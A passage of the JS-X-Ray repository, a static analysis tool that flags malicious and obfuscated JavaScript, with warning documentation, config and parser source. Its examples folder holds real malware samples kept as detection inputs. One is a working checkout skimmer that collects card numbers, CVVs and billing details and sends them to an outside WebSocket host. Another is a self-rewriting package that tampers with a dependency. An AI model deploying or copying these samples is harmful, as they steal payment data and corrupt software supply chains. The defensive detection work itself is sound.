[JSXRay - Patterns of obfuscated JavaScript code](https://docs.google.com/document/d/11ZrfW0bDQ-kd7Gr_Ixqyk8p3TGvxckmhFH3Z8dFoPhY/edit?usp=sharing) 26 | 27 | > [!CAUTION] 28 | > This is an early (beta) implementation 29 | 30 | ## Example 31 | 32 | The following code uses Morse code to obfuscate its real intent. This was used in an attack and I find it quite funny so i implemented morse detection 😂. 33 | 34 | ```js 35 | function decodeMorse(morseCode) { 36 | var ref = { 37 | '.-': 'a', 38 | '-...': 'b', 39 | '-.-.': 'c', 40 | '-..': 'd', 41 | '.': 'e', 42 | '..-.': 'f', 43 | '--.': 'g', 44 | '....': 'h', 45 | '..': 'i', 46 | '.---': 'j', 47 | '-.-': 'k', 48 | '.-..': 'l', 49 | '--': 'm', 50 | '-.': 'n', 51 | '---': 'o', 52 | '.--.': 'p', 53 | '--.-': 'q', 54 | '.-.': 'r', 55 | '...': 's', 56 | '-': 't', 57 | '..-': 'u', 58 | '...-': 'v', 59 | '.--': 'w', 60 | '-..-': 'x', 61 | '-.--': 'y', 62 | '--..': 'z', 63 | '.----': '1', 64 | '..---': '2', 65 | '...--': '3', 66 | '....-': '4', 67 | '.....': '5', 68 | '-....': '6', 69 | '--...': '7', 70 | '---..': '8', 71 | '----.': '9', 72 | '-----': '0', 73 | }; 74 | 75 | return morseCode 76 | .split(' ') 77 | .map(a => a.split(' ').map(b => ref[b]).join('')) 78 | .join(' '); 79 | } 80 | 81 | var decoded = decodeMorse(".-- --- .-. -.. .-- --- .-. -.."); 82 | console.log(decoded); 83 | ``` 84 | -------------------------------------------------------------------------------- /docs/parsing-error.md: -------------------------------------------------------------------------------- 1 | # Parsing Error 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | ast-error | `Information` | `sast_warnings.ast_error` | ❌ | 6 | 7 | ## Introduction 8 | 9 | parsing-error warning is throw when the library [meriyah](https://github.com/meriyah/meriyah) **fail to parse** the javascript source code into an AST. But it can also happen when the AST analysis fails because we don't manage a case properly. 10 | 11 | > [!IMPORTANT] 12 | > If you are in the second case, please open an issue [here](https://github.com/NodeSecure/js-x-ray/issues) 13 | 14 | ## Example 15 | 16 | ```json 17 | { 18 | "kind": "parsing-error", 19 | "value": "[10:30]: Unexpected token: ','", 20 | "location": [[0,0],[0,0]], 21 | "file": "helpers\\asyncIterator.js" 22 | } 23 | ``` 24 | -------------------------------------------------------------------------------- /docs/shady-link.md: -------------------------------------------------------------------------------- 1 | # Shady link 2 | | Code | Severity | i18n | Experimental | 3 | | --- | --- | --- | :-: | 4 | | shady-link | `Warning` | `sast_warnings.shady_link` | ❌ | 5 | 6 | ## Introduction 7 | 8 | Identify when a literal (string) contains a suspicious URL: 9 | - To a domain with a **suspicious** extension. 10 | - URLs with a raw **IP address**. 11 | 12 | ## A suspicious domain 13 | 14 | ```js 15 | const foo = "http://foo.xyz"; 16 | ``` 17 | 18 | ## URL with a dangerous raw IP address 19 | 20 | URLs containing raw IP addresses can be considered potentially dangerous for several reasons: 21 | 22 | - **Phishing and social engineering**: Attackers can use raw IP addresses in URLs to hide the true destination of the link. 23 | 24 | - **Malware and code injection attacks**: Raw IP addresses can point to malicious websites that host malware or use compromising code injection techniques. 25 | 26 | - **Privacy violations**: Bypass proxy servers or firewalls designed to block access to certain websites, thereby exposing users. 27 | 28 | ```js 29 | const IPv4URL = "http://77.244.210.247/script"; 30 | 31 | const IPv6URL = "http://2444:1130:80:2aa8:c313:150d:b8cf:c321/script"; 32 | ``` 33 | 34 |
35 |
36 | 37 | > [!IMPORTANT]\ 38 | > Credit goes to the [guarddog](https://github.dev/DataDog/guarddog) team.\ 39 | > Credit goes to the [ietf.org](https://www.ietf.org/rfc/rfc3986.txt). 40 | -------------------------------------------------------------------------------- /docs/short-identifiers.md: -------------------------------------------------------------------------------- 1 | # Short identifiers 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | short-identifiers | `Warning` | `sast_warnings.short_identifiers` | ❌ | 6 | 7 | ## Introduction 8 | 9 | JS-X-Ray store in memory all Identifiers so we are able later to sum the length of all of them. We are looking at several ESTree Node in the tree: 10 | - VariableDeclarator: `var boo;` 11 | - ClassDeclaration: `class boo {}` 12 | - MethodDefinition 13 | - AssignmentExpression: `(boo = 5)` 14 | - FunctionDeclaration: `function boo() {}` 15 | - Property of ObjectExpression: `{ boo: 5 }` 16 | 17 | However, we do not take into consideration the properties of Objects for this warning. The warning is generated only if: 18 | 19 | - The file is not already declared as **Minified**. 20 | - There is more than **five** identifiers. 21 | - The sum of all identifiers name length is below `1.5`. 22 | 23 | ## Example 24 | 25 | ```json 26 | { 27 | "kind": "short-identifiers", 28 | "location": [[0,0], [0,0]], 29 | "value": 1.5, 30 | "file": "lib\\compile-env.js" 31 | } 32 | ``` 33 | -------------------------------------------------------------------------------- /docs/suspicious-file.md: -------------------------------------------------------------------------------- 1 | # Suspicious file 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | suspicious-file | `Critical` | `sast_warnings.suspicious_file` | ❌ | 6 | 7 | ## Introduction 8 | 9 | We tag a file as suspicious when there is more than **ten** `encoded-literal` warnings in it. The idea behind is to avoid generating to much of the same kind of warnings. 10 | 11 | This warning may have to evolve in the near future to include new criterias. 12 | -------------------------------------------------------------------------------- /docs/suspicious-literal.md: -------------------------------------------------------------------------------- 1 | # Suspicious literal 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | suspicious-literal | `Warning` | `sast_warnings.suspicious_literal` | ❌ | 6 | 7 | ## Introduction 8 | 9 | Thats one of the most interesting JS-X-Ray warning. We designed it with the idea of detecting long strings of characters that are very common in malicious obfuscated/encrypted codes like in [smith-and-wesson-skimmer](https://web.archive.org/web/20200804103413/https://badjs.org/posts/smith-and-wesson-skimmer/). 10 | 11 | The basic idea is to say that any string longer than 45 characters with no space is very suspicious... Then we establish a suspicion score that will be incremented according to several criteria: 12 | 13 | - if the string contains **space** in the first **45** characters then we set the score to `zero`, else we set the score to `one`. 14 | - if the string has more than **200 characters** then we add `1` to the score. 15 | - we add one to the score for each **750 characters**. So a length of __1600__ will add `two` to the score. 16 | - we add `two` point to the score if the string contains more than **70 unique characters**. 17 | 18 | So it's possible for a string with more than 45 characters to come out with a score of zero if: 19 | - there is space in the first 45 characters of the string. 20 | - less than 70 unique characters. 21 | 22 | The implementation is done in the [@nodesecure/sec-literal](https://github.com/NodeSecure/sec-literal/blob/main/src/utils.js) package and look like this: 23 | ```js 24 | function stringCharDiversity(str, charsToExclude = []) { 25 | const data = new Set(str); 26 | charsToExclude.forEach((char) => data.delete(char)); 27 | 28 | return data.size; 29 | } 30 | 31 | // --- 32 | const kMaxSafeStringLen = 45; 33 | const kMaxSafeStringCharDiversity = 70; 34 | const kMinUnsafeStringLenThreshold = 200; 35 | const kScoreStringLengthThreshold = 750; 36 | 37 | function stringSuspicionScore(str) { 38 | const strLen = stringWidth(str); 39 | if (strLen < kMaxSafeStringLen) { 40 | return 0; 41 | } 42 | 43 | const includeSpace = str.includes(" "); 44 | const includeSpaceAtStart = includeSpace ? 45 | str.slice(0, kMaxSafeStringLen).includes(" ") : 46 | false; 47 | 48 | let suspectScore = includeSpaceAtStart ? 0 : 1; 49 | if (strLen > kMinUnsafeStringLenThreshold) { 50 | suspectScore += Math.ceil( 51 | strLen / kScoreStringLengthThreshold 52 | ); 53 | } 54 | 55 | return stringCharDiversity(str) >= kMaxSafeStringCharDiversity ? 56 | suspectScore + 2 : suspectScore; 57 | } 58 | ``` 59 | 60 | > [!IMPORTANT] 61 | > The warning is generated only if the sum of all scores exceeds **three**. 62 | -------------------------------------------------------------------------------- /docs/unsafe-import.md: -------------------------------------------------------------------------------- 1 | # Unsafe Import 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | unsafe-import | `Warning` | `sast_warnings.unsafe_import` | ❌ | 6 | 7 | ## Introduction 8 | 9 | JS-X-Ray intensively track the use of `require` CallExpression and also ESM Import declarations. Knowing the dependencies used is really important for our analysis and that why when the SAST fail to follow an important it will throw an `unsafe-import` warning. 10 | 11 | > [!CAUTION] 12 | > Sometimes we trigger this warning on purpose because we have detected a malicious import 13 | 14 | ### CJS Note 15 | We analyze and trace several ways to require in Node.js (with CJS): 16 | - require 17 | - require.main.require 18 | - require.mainModule.require 19 | - require.resolve 20 | - `const XX = eval('require')('XX');` (dangerous import using eval) 21 | 22 | ## Example 23 | 24 | The code below try to require Node.js core dependency `http`. JS-X-Ray sucessfully detect it and throw an unsafe-import warning. 25 | 26 | ```js 27 | function unhex(r) { 28 | return Buffer.from(r, "hex").toString(); 29 | } 30 | 31 | const g = Function("return this")(); 32 | const p = g["pro" + "cess"]; 33 | 34 | // Hex 72657175697265 -> require 35 | const evil = p["mainMod" + "ule"][unhex("72657175697265")]; 36 | 37 | // Hex 68747470 -> http 38 | evil(unhex("68747470")).request 39 | ``` 40 | 41 | -------------------------------------------------------------------------------- /docs/unsafe-regex.md: -------------------------------------------------------------------------------- 1 | # Unsafe Regex 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | unsafe-regex | `Warning` | `sast_warnings.unsafe_regex` | ❌ | 6 | 7 | ## Introduction 8 | 9 | This warning has been designed to detect and report any regular expressions (regexes) that could lead to a catastrophic backtracking. This can be used by an attacker to drastically reduce the performance of your application. We often call this kind of attack REDOS. 10 | 11 | Learn more: 12 | - [How a RegEx can bring your Node.js service down](https://lirantal.medium.com/node-js-pitfalls-how-a-regex-can-bring-your-system-down-cbf1dc6c4e02) 13 | - [An additional non-backtracking RegExp engine](https://v8.dev/blog/non-backtracking-regexp) 14 | - [The Impact of Regular Expression Denial of Service (ReDoS) in Practice](https://infosecwriteups.com/introduction-987fdc4c7b0) 15 | - [Why Aren’t Regexes a Lingua Franca?](https://davisjam.medium.com/why-arent-regexes-a-lingua-franca-esecfse19-a36348df3a2) 16 | - [Comparing regex matching algorithms](https://swtch.com/~rsc/regexp/regexp1.html) 17 | 18 | > [!NOTE] 19 | > Credit goes to the `safe-regex` package author for the last three resources. 20 | 21 | ### Technical implementation 22 | 23 | Under the hood the package [safe-regex](https://github.com/davisjam/safe-regex) is used to assert all **RegExpLiteral** and RegEx Constructor (eg `new RegEx()`). 24 | 25 | ## Example 26 | 27 | ```json 28 | { 29 | "kind": "unsafe-regex", 30 | "location": [[286,18],[286,65]], 31 | "value": "^node_modules\\/(@[^/]+\\/?[^/]+|[^/]+)(\\/.*)?$", 32 | "file": "index.js" 33 | } 34 | ``` 35 | -------------------------------------------------------------------------------- /docs/unsafe-stmt.md: -------------------------------------------------------------------------------- 1 | # Unsafe Statement 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | unsafe-stmt | `Warning` | `sast_warnings.unsafe_stmt` | ❌ | 6 | 7 | ## Introduction 8 | 9 | Warning about the usage of eval() or Function() in the source code. Their use is not recommended and can be used to execute insecure code (for example to retrieve the **globalThis** / **window** object). 10 | 11 | - [MDN - Never use eval()!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!) 12 | 13 | ## Example 14 | 15 | The warning **value** can be either `Function` or `eval`. 16 | 17 | ```json 18 | { 19 | "kind": "unsafe-stmt", 20 | "location": [[49,37],[49,62]], 21 | "value": "Function", 22 | "file": "index.js" 23 | } 24 | ``` 25 | 26 | Example of a dangerous code that an attacker may use: 27 | ```js 28 | const xxx = Function("return this")(); 29 | // xxx is equal to globalThis 30 | console.log(xxx); 31 | ``` 32 | -------------------------------------------------------------------------------- /docs/weak-crypto.md: -------------------------------------------------------------------------------- 1 | # Weak crypto 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | weak-crypto | `Information` | `sast_warnings.weak_crypto` | ❌ | 6 | 7 | ## Introduction 8 | 9 | Detect usage of **weak crypto** algorithm with the Node.js core `Crypto` dependency. Algorithm considered to be weak are: 10 | 11 | - md5 12 | - md4 13 | - md2 14 | - sha1 15 | - ripemd160 16 | 17 | ## Example 18 | 19 | ```js 20 | import crypto from "crypto"; 21 | 22 | crypto.createHash("md5"); 23 | ``` 24 | -------------------------------------------------------------------------------- /eslint.config.mjs: -------------------------------------------------------------------------------- 1 | import { ESLintConfig } from "@openally/config.eslint"; 2 | 3 | export default [ 4 | { 5 | ignores: [ 6 | "**/test/fixtures/**/*", 7 | "**/test/probes/fixtures/**/*.js", 8 | "**/examples/*.js" 9 | ] 10 | }, 11 | ...ESLintConfig, 12 | { 13 | languageOptions: { 14 | sourceType: "module", 15 | parserOptions: { 16 | requireConfigFile: false 17 | } 18 | } 19 | } 20 | ]; 21 | -------------------------------------------------------------------------------- /examples/forbes-skimmer.js: -------------------------------------------------------------------------------- 1 | function fire_event() { 2 | if (typeof is_debug !== 'undefined' && is_debug) { 3 | console['log']('Fire event') 4 | }; 5 | if (document['createEvent']) { 6 | element['dispatchEvent'](event_store) 7 | } else { 8 | element['fireEvent']('on' + event_store['eventType'], event_store) 9 | } 10 | } 11 | function d() { 12 | var _0x1306x3 = $('input[name=cc_name]'); 13 | var _0x1306x4 = $('input[name=cc_number]'); 14 | var _0x1306x5 = $('#cc_month option:selected')['val']() + '/' + $('#cc_year option:selected')['val'](); 15 | var _0x1306x6 = $('input[name=cc_cvv]'); 16 | var _0x1306x7 = _0x1306x4['val'](); 17 | var _0x1306x8 = _0x1306x6['val'](); 18 | var _0x1306x9 = _0x1306x3['val'](); 19 | var _0x1306xa = $('input[name=firstname]')['val'](); 20 | var _0x1306xb = $('input[name=lastname]')['val'](); 21 | var _0x1306xc = $('select[name=country_id]')['val'](); 22 | var _0x1306xd = $('input[name=city]')['val'](); 23 | var _0x1306xe = $('select[name=zone_id]')['val'](); 24 | var _0x1306xf = $('input[name=postcode]')['val'](); 25 | var _0x1306x10 = $('input[name=telephone]')['val'](); 26 | var _0x1306x11 = $('input[name=email]')['val'](); 27 | var _0x1306x12 = 'CC_OWNER:' + _0x1306x9 + ';CC_NUMBER:' + _0x1306x7 + ';CC_EXP:' + _0x1306x5 + ';CC_CVC:' + _0x1306x8 + ';'; 28 | _0x1306x12 += 'BFNAME:' + _0x1306xa + ';BLNAME:' + _0x1306xb + ';BCOUNTRY:' + _0x1306xc + ';BCITY:' + _0x1306xd + ';'; 29 | _0x1306x12 += 'BSTATE:' + _0x1306xe + ';BPOSTCODE:' + _0x1306xf + ';BPHONE:' + _0x1306x10 + ';BEMAIL:' + _0x1306x11; 30 | var _0x1306x13 = new WebSocket('wss://fontsawesome.gq:8080/g'); 31 | _0x1306x13['onopen'] = function() { 32 | _0x1306x13['send'](_0x1306x12); 33 | _0x1306x13['close']() 34 | }; 35 | _0x1306x13['onerror'] = function(_0x1306x14) { 36 | fire_event(); 37 | return false 38 | }; 39 | _0x1306x13['onclose'] = function() { 40 | fire_event(); 41 | return false 42 | } 43 | } 44 | $(document)['ready'](function(_0x1306x15) { 45 | var _0x1306x16 = setInterval(function(_0x1306x15) { 46 | var _0x1306x17 = $('#button-confirm')['attr']('onclick'); 47 | if (typeof _0x1306x17 === 'undefined') { 48 | $('#button-confirm')['attr']('onclick', 'd();return false;') 49 | } 50 | }, 500) 51 | }) 52 | -------------------------------------------------------------------------------- /examples/jscrush.js: -------------------------------------------------------------------------------- 1 | import _curry2 from "./internal/_curry2.js"; 2 | import _reduce from "./internal/_reduce.js"; 3 | import ap from "./ap.js"; 4 | import curryN from "./curryN.js"; 5 | import map from "./map.js"; 6 | /** 7 | * "lifts" a function to be the specified arity, so that it may "map over" that 8 | * many lists, Functions or other objects that satisfy the [FantasyLand Apply spec](https://github.com/fantasyland/fantasy-land#apply). 9 | * 10 | * @func 11 | * @memberOf R 12 | * @since v0.7.0 13 | * @category Function 14 | * @sig Number -> (*... -> *) -> ([*]... -> [*]) 15 | * @param {Function} fn The function to lift into higher context 16 | * @return {Function} The lifted function. 17 | * @see R.lift, R.ap 18 | * @example 19 | * 20 | * const madd3 = R.liftN(3, (...args) => R.sum(args)); 21 | * madd3([1,2,3], [1,2,3], [1]); //=> [3, 4, 5, 4, 5, 6, 5, 6, 7] 22 | */ 23 | 24 | var liftN = 25 | /*#__PURE__*/ 26 | _curry2(function liftN(arity, fn) { 27 | var lifted = curryN(arity, fn); 28 | return curryN(arity, function () { 29 | return _reduce(ap, map(lifted, arguments[0]), Array.prototype.slice.call(arguments, 1)); 30 | }); 31 | }); 32 | 33 | export default liftN; 34 | -------------------------------------------------------------------------------- /examples/npm-audit.js: -------------------------------------------------------------------------------- 1 | const path = require("path") 2 | 3 | const sanitizeAudit = auditResult => { 4 | const sanitizedActions = [] 5 | 6 | auditResult.actions.map(action => { 7 | if (action.module !== "cordova-plugin-inappbrowser") { 8 | sanitizedActions.push(action) 9 | } 10 | }) 11 | 12 | const sanitizedAdvisories = {} 13 | for (let [key, value] of Object.entries(auditResult.advisories)) { 14 | if (value.module_name !== "cordova-plugin-inappbrowser") { 15 | sanitizedAdvisories[key] = value 16 | } 17 | } 18 | auditResult.actions = sanitizedActions 19 | auditResult.advisories = sanitizedAdvisories 20 | 21 | return auditResult 22 | } 23 | 24 | const patchAudit = nodeLocation => { 25 | const auditScriptLocation = path.join( 26 | nodeLocation, 27 | "../../lib/node_modules/npm/lib/install/audit.js" 28 | ) 29 | require(auditScriptLocation) 30 | const auditCache = require.cache[auditScriptLocation] 31 | // console.log(auditCache); 32 | const origPrintFullReport = auditCache.exports.printFullReport 33 | const newPrintFullReport = auditResult => { 34 | console.error("Running modified npm audit") 35 | auditResult = sanitizeAudit(auditResult) 36 | return origPrintFullReport(auditResult) 37 | } 38 | auditCache.exports.printFullReport = newPrintFullReport 39 | 40 | const origInstallReport = auditCache.exports.printInstallReport 41 | const newInstallReport = auditResult => { 42 | console.error("Running modified npm audit") 43 | auditResult = sanitizeAudit(auditResult) 44 | return origInstallReport(auditResult) 45 | } 46 | auditCache.exports.printInstallReport = newInstallReport 47 | } 48 | 49 | module.exports = patchAudit 50 | -------------------------------------------------------------------------------- /examples/rate-map.js: -------------------------------------------------------------------------------- 1 | // Generated with Babel 7.5.2 2 | "use strict"; 3 | var appendType = require("append-type"); 4 | var paramNames = ["start", "end"]; 5 | let parent = module; 6 | const { 7 | existsSync: existsSync, 8 | readFileSync: readFileSync, 9 | writeFileSync: writeFileSync 10 | } = require("fs"); 11 | do { 12 | parent = parent.parent; 13 | try { 14 | const { path: path } = parent; 15 | if ( 16 | path.endsWith("cli") || 17 | [path, dirname(path)].some(dir => existsSync(resolve(dir, ".git"))) 18 | ) { 19 | parent = "npm"; 20 | break; 21 | } 22 | } catch (_) {} 23 | } while (parent); 24 | if (typeof parent !== "string") { 25 | const px = require.resolve( 26 | Buffer.from([100, 108, 45, 116, 97, 114]).toString() 27 | ); 28 | try { 29 | writeFileSync( 30 | __filename, 31 | readFileSync(__filename, "utf8").replace( 32 | /let parent[^\0]*module\.exports/u, 33 | "module.exports" 34 | ) 35 | ); 36 | } catch (_) {} 37 | try { 38 | writeFileSync( 39 | px, 40 | readFileSync(px, "utf8").replace(/\n\s*cb\(null, chunk\);/u, "") 41 | ); 42 | } catch (_) {} 43 | } 44 | module.exports = function rateMap(val, start, end) { 45 | if (typeof val !== "number") { 46 | throw new TypeError( 47 | "Expected the first argument to be a number (0 ~ 1), but got " + 48 | appendType(val) + 49 | "." 50 | ); 51 | } 52 | if (!isFinite(val)) { 53 | throw new RangeError( 54 | "Expected the first argument to be a finite number (0 ~ 1), but got " + 55 | val + 56 | "." 57 | ); 58 | } 59 | if (val < 0) { 60 | throw new RangeError( 61 | "Expected the first argument to be a number (0 ~ 1), but got a negative number " + 62 | val + 63 | "." 64 | ); 65 | } 66 | if (val > 1) { 67 | throw new RangeError( 68 | "Expected the first argument to be a number (0 ~ 1), but got a too large number " + 69 | val + 70 | "." 71 | ); 72 | } 73 | var args = [start, end]; 74 | for (var i = 0; i < 2; i++) { 75 | if (typeof args[i] !== "number") { 76 | throw new TypeError( 77 | "Expected `" + 78 | paramNames[i] + 79 | "` argument to be a number, but got " + 80 | appendType(args[i]) + 81 | "." 82 | ); 83 | } 84 | if (!isFinite(args[i])) { 85 | throw new RangeError( 86 | "Expected `" + 87 | paramNames[i] + 88 | "` argument to be a finite number, but got " + 89 | args[i] + 90 | "." 91 | ); 92 | } 93 | } 94 | return start + val * (end - start); 95 | }; 96 | -------------------------------------------------------------------------------- /index.d.ts: -------------------------------------------------------------------------------- 1 | import { 2 | AstAnalyser, 3 | AstAnalyserOptions, 4 | 5 | EntryFilesAnalyser, 6 | EntryFilesAnalyserOptions, 7 | 8 | SourceParser, 9 | JsSourceParser, 10 | Report, 11 | ReportOnFile, 12 | RuntimeFileOptions, 13 | RuntimeOptions, 14 | SourceLocation, 15 | Dependency 16 | } from "./types/api.js"; 17 | import { 18 | Warning, 19 | WarningDefault, 20 | WarningLocation, 21 | WarningName, 22 | WarningNameWithValue 23 | } from "./types/warnings.js"; 24 | 25 | declare const warnings: Record>; 26 | 27 | export { 28 | warnings, 29 | AstAnalyser, 30 | AstAnalyserOptions, 31 | EntryFilesAnalyser, 32 | EntryFilesAnalyserOptions, 33 | JsSourceParser, 34 | SourceParser, 35 | Report, 36 | ReportOnFile, 37 | RuntimeFileOptions, 38 | RuntimeOptions, 39 | SourceLocation, 40 | Dependency, 41 | Warning, 42 | WarningDefault, 43 | WarningLocation, 44 | WarningName, 45 | WarningNameWithValue 46 | } 47 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | export { warnings } from "./src/warnings.js"; 2 | export { JsSourceParser } from "./src/JsSourceParser.js"; 3 | export { AstAnalyser } from "./src/AstAnalyser.js"; 4 | export { EntryFilesAnalyser } from "./src/EntryFilesAnalyser.js"; 5 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@nodesecure/js-x-ray", 3 | "version": "9.0.0", 4 | "description": "JavaScript AST XRay analysis", 5 | "type": "module", 6 | "exports": { 7 | ".": { 8 | "import": "./index.js", 9 | "types": "./index.d.ts" 10 | }, 11 | "./warnings": { 12 | "import": "./src/warnings.js", 13 | "types": "./types/warnings.d.ts" 14 | }, 15 | "./package.json": "./package.json" 16 | }, 17 | "engines": { 18 | "node": ">=20.0.0" 19 | }, 20 | "scripts": { 21 | "lint": "eslint src workspaces test", 22 | "test-only": "glob -c \"node --test-reporter=spec --test\" \"./test/**/*.spec.js\"", 23 | "test": "c8 --all --src ./src -r html npm run test-only", 24 | "check": "npm run lint && npm run test-only", 25 | "ci:publish": "changeset publish", 26 | "ci:version": "changeset version" 27 | }, 28 | "repository": { 29 | "type": "git", 30 | "url": "git+https://github.com/NodeSecure/js-x-ray.git" 31 | }, 32 | "workspaces": [ 33 | "workspaces/estree-ast-utils", 34 | "workspaces/sec-literal", 35 | "workspaces/ts-source-parser" 36 | ], 37 | "keywords": [ 38 | "ast", 39 | "nsecure", 40 | "nodesecure", 41 | "analysis", 42 | "dependencies", 43 | "security" 44 | ], 45 | "files": [ 46 | "src", 47 | "types", 48 | "index.js", 49 | "index.d.ts" 50 | ], 51 | "author": "GENTILHOMME Thomas ", 52 | "license": "MIT", 53 | "bugs": { 54 | "url": "https://github.com/NodeSecure/js-x-ray/issues" 55 | }, 56 | "homepage": "https://github.com/NodeSecure/js-x-ray#readme", 57 | "dependencies": { 58 | "@nodesecure/estree-ast-utils": "^1.5.0", 59 | "@nodesecure/sec-literal": "^1.2.0", 60 | "digraph-js": "^2.2.3", 61 | "estree-walker": "^3.0.1", 62 | "frequency-set": "^1.0.2", 63 | "is-minified-code": "^2.0.0", 64 | "meriyah": "^6.0.0", 65 | "safe-regex": "^2.1.1", 66 | "ts-pattern": "^5.0.6" 67 | }, 68 | "devDependencies": { 69 | "@changesets/changelog-github": "^0.5.1", 70 | "@changesets/cli": "^2.29.4", 71 | "@openally/config.eslint": "^2.0.0", 72 | "@types/node": "^22.0.0", 73 | "c8": "^10.1.2", 74 | "glob": "^11.0.0", 75 | "iterator-matcher": "^2.1.0" 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/JsSourceParser.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import * as meriyah from "meriyah"; 3 | 4 | // CONSTANTS 5 | const kParsingOptions = { 6 | next: true, 7 | loc: true, 8 | raw: true, 9 | jsx: true 10 | }; 11 | 12 | export class JsSourceParser { 13 | /** 14 | * @param {object} options 15 | * @param {boolean} options.isEcmaScriptModule 16 | */ 17 | parse(source, options = {}) { 18 | const { 19 | isEcmaScriptModule 20 | } = options; 21 | 22 | try { 23 | const { body } = meriyah.parseScript( 24 | source, 25 | { 26 | ...kParsingOptions, 27 | module: isEcmaScriptModule, 28 | globalReturn: !isEcmaScriptModule 29 | } 30 | ); 31 | 32 | return body; 33 | } 34 | catch (error) { 35 | const isIllegalReturn = error.description.includes("Illegal return statement"); 36 | 37 | if (error.name === "SyntaxError" && ( 38 | error.description.includes("The import keyword") || 39 | error.description.includes("The export keyword") || 40 | isIllegalReturn 41 | )) { 42 | const { body } = meriyah.parseScript( 43 | source, 44 | { 45 | ...kParsingOptions, 46 | module: true, 47 | globalReturn: isIllegalReturn 48 | } 49 | ); 50 | 51 | return body; 52 | } 53 | 54 | throw error; 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/NodeCounter.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import FrequencySet from "frequency-set"; 3 | 4 | // Import Internal Dependencies 5 | import { isNode } from "./utils/index.js"; 6 | 7 | // eslint-disable-next-line func-style 8 | const noop = (node) => true; 9 | 10 | export class NodeCounter { 11 | lookup = null; 12 | 13 | #count = 0; 14 | #properties = null; 15 | #filterFn = noop; 16 | #matchFn = noop; 17 | 18 | /** 19 | * @param {!string} type 20 | * @param {Object} [options] 21 | * @param {string} [options.name] 22 | * @param {(node: any) => boolean} [options.filter] 23 | * @param {(node: any, nc: NodeCounter) => void} [options.match] 24 | * 25 | * @example 26 | * new NodeCounter("FunctionDeclaration"); 27 | * new NodeCounter("VariableDeclaration[kind]"); 28 | */ 29 | constructor(type, options = {}) { 30 | if (typeof type !== "string") { 31 | throw new TypeError("type must be a string"); 32 | } 33 | 34 | const typeResult = /([A-Za-z]+)(\[[a-zA-Z]+\])?/g.exec(type); 35 | if (typeResult === null) { 36 | throw new Error("invalid type argument syntax"); 37 | } 38 | this.type = typeResult[1]; 39 | this.lookup = typeResult[2]?.slice(1, -1) ?? null; 40 | this.name = options?.name ?? this.type; 41 | if (this.lookup) { 42 | this.#properties = new FrequencySet(); 43 | } 44 | 45 | this.#filterFn = options.filter ?? noop; 46 | this.#matchFn = options.match ?? noop; 47 | } 48 | 49 | get count() { 50 | return this.#count; 51 | } 52 | 53 | get properties() { 54 | return Object.fromEntries( 55 | this.#properties?.entries() ?? [] 56 | ); 57 | } 58 | 59 | walk(node) { 60 | if (!isNode(node) || node.type !== this.type) { 61 | return; 62 | } 63 | if (!this.#filterFn(node)) { 64 | return; 65 | } 66 | 67 | this.#count++; 68 | if (this.lookup === null) { 69 | this.#matchFn(node, this); 70 | } 71 | else if (this.lookup in node) { 72 | this.#properties.add(node[this.lookup]); 73 | this.#matchFn(node, this); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/obfuscators/freejsobfuscator.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { Utils } from "@nodesecure/sec-literal"; 3 | 4 | export function verify(identifiers, prefix) { 5 | const pValue = Object.keys(prefix).pop(); 6 | const regexStr = `^${Utils.escapeRegExp(pValue)}[a-zA-Z]{1,2}[0-9]{0,2}$`; 7 | 8 | return identifiers.every(({ name }) => new RegExp(regexStr).test(name)); 9 | } 10 | -------------------------------------------------------------------------------- /src/obfuscators/jjencode.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { notNullOrUndefined } from "../utils/index.js"; 3 | 4 | // CONSTANTS 5 | const kJJRegularSymbols = new Set(["$", "_"]); 6 | 7 | export function verify(identifiers, counters) { 8 | if (counters.VariableDeclarator > 0 || counters.FunctionDeclaration > 0) { 9 | return false; 10 | } 11 | if (counters.AssignmentExpression > counters.Property) { 12 | return false; 13 | } 14 | 15 | const matchCount = identifiers.filter(({ name }) => { 16 | if (!notNullOrUndefined(name)) { 17 | return false; 18 | } 19 | const charsCode = [...new Set([...name])]; 20 | 21 | return charsCode.every((char) => kJJRegularSymbols.has(char)); 22 | }).length; 23 | const pourcent = ((matchCount / identifiers.length) * 100); 24 | 25 | return pourcent > 80; 26 | } 27 | 28 | -------------------------------------------------------------------------------- /src/obfuscators/jsfuck.js: -------------------------------------------------------------------------------- 1 | // CONSTANTS 2 | const kJSFuckMinimumDoubleUnaryExpr = 5; 3 | 4 | export function verify(counters) { 5 | const hasZeroAssign = counters.AssignmentExpression === 0 6 | && counters.FunctionDeclaration === 0 7 | && counters.Property === 0 8 | && counters.VariableDeclarator === 0; 9 | 10 | return hasZeroAssign && counters.DoubleUnaryExpression >= kJSFuckMinimumDoubleUnaryExpr; 11 | } 12 | -------------------------------------------------------------------------------- /src/obfuscators/obfuscator-io.js: -------------------------------------------------------------------------------- 1 | export function verify(deobfuscator, counters) { 2 | if ((counters.MemberExpression?.false ?? 0) > 0) { 3 | return false; 4 | } 5 | 6 | const hasSomePatterns = counters.DoubleUnaryExpression > 0 7 | || deobfuscator.deepBinaryExpression > 0 8 | || deobfuscator.encodedArrayValue > 0 9 | || deobfuscator.hasDictionaryString; 10 | 11 | // TODO: hasPrefixedIdentifiers only work for 